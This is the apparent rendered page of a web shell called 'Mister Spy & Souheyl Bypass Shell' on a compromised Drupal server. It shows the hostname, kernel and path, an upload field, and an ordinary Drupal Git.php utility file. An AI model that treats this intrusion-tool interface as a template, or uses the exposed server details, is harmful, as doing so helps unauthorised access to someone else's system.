Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/vendor/drupal/core-composer-scaffold/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/vendor/drupal/core-composer-scaffold/Git.php

<?php

namespace Drupal\Composer\Plugin\Scaffold;

use Composer\IO\IOInterface;
use Composer\Util\ProcessExecutor;

/**
 * Provide some Git utility operations
 *
 * @internal
 */
class Git {

  /**
   * This class provides only static methods.
   */
  private function __construct() {
  }

  /**
   * Determines whether the specified scaffold file is already ignored.
   *
   * @param string $path
   *   Path to scaffold file to check.
   * @param string $dir
   *   Base directory for git process.
   *
   * @return bool
   *   Whether the specified file is already ignored or not (TRUE if ignored).
   */
  public static function checkIgnore(IOInterface $io, $path, $dir = NULL) {
    $process = new ProcessExecutor($io);
    $output = '';
    $exitCode = $process->execute('git check-ignore ' . $process->escape($path), $output, $dir);
    return $exitCode == 0;
  }

  /**
   * Determines whether the specified scaffold file is tracked by git.
   *
   * @param string $path
   *   Path to scaffold file to check.
   * @param string $dir
   *   Base directory for git process.
   *
   * @return bool
   *   Whether the specified file is already tracked or not (TRUE if tracked).
   */
  public static function checkTracked(IOInterface $io, $path, $dir = NULL) {
    $process = new ProcessExecutor($io);
    $output = '';
    $exitCode = $process->execute('git ls-files --error-unmatch ' . $process->escape($path), $output, $dir);
    return $exitCode == 0;
  }

  /**
   * Checks to see if the project root dir is in a git repository.
   *
   * @param string $dir
   *   Base directory for git process.
   * @return bool
   *   True if this is a repository.
   */
  public static function isRepository(IOInterface $io, $dir = NULL) {
    $process = new ProcessExecutor($io);
    $output = '';
    $exitCode = $process->execute('git rev-parse --show-toplevel', $output, $dir);
    return $exitCode == 0;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net